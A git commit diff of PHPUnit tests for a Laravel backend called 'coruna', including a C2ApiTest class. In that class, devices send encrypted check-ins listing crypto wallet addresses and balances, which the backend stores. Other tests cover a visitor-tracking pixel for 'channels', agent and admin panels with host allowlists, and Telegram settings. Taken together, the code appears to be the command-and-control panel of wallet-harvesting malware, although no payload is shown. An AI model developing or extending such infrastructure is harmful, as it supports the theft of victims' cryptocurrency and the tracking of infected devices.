fix: statisc

This commit is contained in:
hashbro
2026-08-10 03:53:10 +08:00
parent ad30453922
commit aad44bf52e
33 changed files with 1207 additions and 28 deletions
+1 -1
View File
@@ -212,7 +212,7 @@ class AdminAgentPortalTest extends TestCase
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.total', 2)
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'from', 'to']]);
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'from', 'to']]);
}
#[Test]
+31
View File
@@ -240,6 +240,37 @@ class C2ApiTest extends TestCase
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
}
#[Test]
public function status_skips_unsupported_chain_addresses(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600770';
$enc = $crypto->encryptJson([
'd' => 'dev-skip-chain-1',
'a' => 'd',
'data' => [
['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'],
['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'],
],
], $ts);
$this->call('POST', '/api/user/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-skip-chain-1')->first();
$this->assertNotNull($device);
$this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertTrue(
WalletAddress::query()
->where('device_id', $device->id)
->where('address', '0xabc1230000000000000000000000000000000002')
->exists()
);
}
#[Test]
public function status_global_wallet_ad_map_stores_empty_balance(): void
{
+139
View File
@@ -0,0 +1,139 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\PageVisit;
use App\Support\UserAgentParser;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class PageVisitTest extends TestCase
{
use RefreshDatabase;
private const CHANNEL = 'fe398bc1add87202c04c27293a032634';
#[Test]
public function hit_records_visit_with_parsed_ua(): void
{
Cache::flush();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
$this->call('GET', '/statistic/t', [
'c' => self::CHANNEL,
'u' => '11111111-2222-4333-8444-555555555555',
'p' => '/web/'.self::CHANNEL.'/support.html',
], [], [], [
'HTTP_USER_AGENT' => $ua,
])->assertOk()
->assertHeader('Content-Type', 'image/gif');
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame(self::CHANNEL, $row->channel_id);
$this->assertSame('11111111-2222-4333-8444-555555555555', $row->client_uid);
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertSame('Safari', $row->browser);
$this->assertSame('16.6', $row->browser_version);
$this->assertSame($ua, $row->user_agent);
}
#[Test]
public function hit_debounces_duplicate_uid(): void
{
Cache::flush();
$params = [
'c' => self::CHANNEL,
'u' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
];
$this->get('/statistic/t?'.http_build_query($params))->assertOk();
$this->get('/statistic/t?'.http_build_query($params))->assertOk();
$this->assertSame(1, PageVisit::query()->count());
}
#[Test]
public function hit_rejects_bad_channel(): void
{
Cache::flush();
$this->get('/statistic/t?c=not-a-channel&u=11111111-2222-4333-8444-555555555555')->assertOk();
$this->assertSame(0, PageVisit::query()->count());
}
#[Test]
public function user_agent_parser_handles_chrome_ios(): void
{
$parsed = UserAgentParser::parse(
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1'
);
$this->assertSame('iOS', $parsed['os']);
$this->assertSame('17.0', $parsed['os_version']);
$this->assertSame('Chrome', $parsed['browser']);
$this->assertSame('119.0.6045', $parsed['browser_version']);
}
#[Test]
public function dashboard_includes_pv_uv(): void
{
Cache::flush();
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'u1',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'browser_version' => '16.6',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'u1',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'browser_version' => '16.6',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'u2',
'os' => 'Android',
'os_version' => '13',
'browser' => 'Chrome',
'browser_version' => '120.0.0',
'created_at' => now(),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => 'today']))
->assertOk()
->assertJsonPath('data.pv', 3)
->assertJsonPath('data.uv', 2)
->assertJsonStructure(['data' => ['by_os', 'by_browser', 'pv', 'uv']]);
}
#[Test]
public function visits_groups_by_os_version(): void
{
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'u1',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.visits.groups', ['range' => 'today', 'group' => 'os_version']))
->assertOk()
->assertJsonPath('data.rows.0.label', 'iOS 16.6')
->assertJsonPath('data.rows.0.pv', 1)
->assertJsonPath('data.rows.0.uv', 1);
}
}
+59
View File
@@ -0,0 +1,59 @@
<?php
namespace Tests\Feature;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class PanelHostMiddlewareTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function empty_allowlist_allows_any_host(): void
{
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => [],
]);
$this->get('http://anything.example/admin/login')->assertOk();
$this->get('http://anything.example/user/login')->assertOk();
}
#[Test]
public function admin_panel_rejects_non_allowlisted_host_with_404(): void
{
config([
'coruna.panel.admin_hosts' => ['admin.example.com'],
'coruna.panel.agent_hosts' => [],
]);
$this->get('http://admin.example.com/admin/login')->assertOk();
$this->get('http://evil.example.com/admin/login')->assertNotFound();
// Agent unrestricted when its list is empty.
$this->get('http://evil.example.com/user/login')->assertOk();
}
#[Test]
public function agent_panel_rejects_non_allowlisted_host_with_404(): void
{
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => ['agent.example.com'],
]);
$this->get('http://agent.example.com/user/login')->assertOk();
$this->get('http://evil.example.com/user/login')->assertNotFound();
$this->get('http://evil.example.com/admin/login')->assertOk();
}
#[Test]
public function host_match_is_case_insensitive(): void
{
config(['coruna.panel.admin_hosts' => ['Admin.Example.COM']]);
$this->get('http://admin.example.com/admin/login')->assertOk();
}
}
+8
View File
@@ -71,6 +71,8 @@ class SystemAdminTest extends TestCase
'telegram_owner_chat_id' => '-1001',
'channels_max_per_agent' => 5,
'channels_domains' => "cdn1.example.com\nhttps://cdn2.example.com/",
'panel_admin_hosts' => "Admin.Example.com\nhttps://ops.example.com:443/",
'panel_agent_hosts' => 'agent.example.com',
])
->assertOk()
->assertJsonPath('code', 0);
@@ -83,6 +85,12 @@ class SystemAdminTest extends TestCase
'cdn1.example.com,cdn2.example.com',
Setting::query()->where('key', 'channels.domains')->value('value')
);
$this->assertSame(['admin.example.com', 'ops.example.com'], config('coruna.panel.admin_hosts'));
$this->assertSame(['agent.example.com'], config('coruna.panel.agent_hosts'));
$this->assertSame(
'admin.example.com,ops.example.com',
Setting::query()->where('key', 'panel.admin_hosts')->value('value')
);
}
#[Test]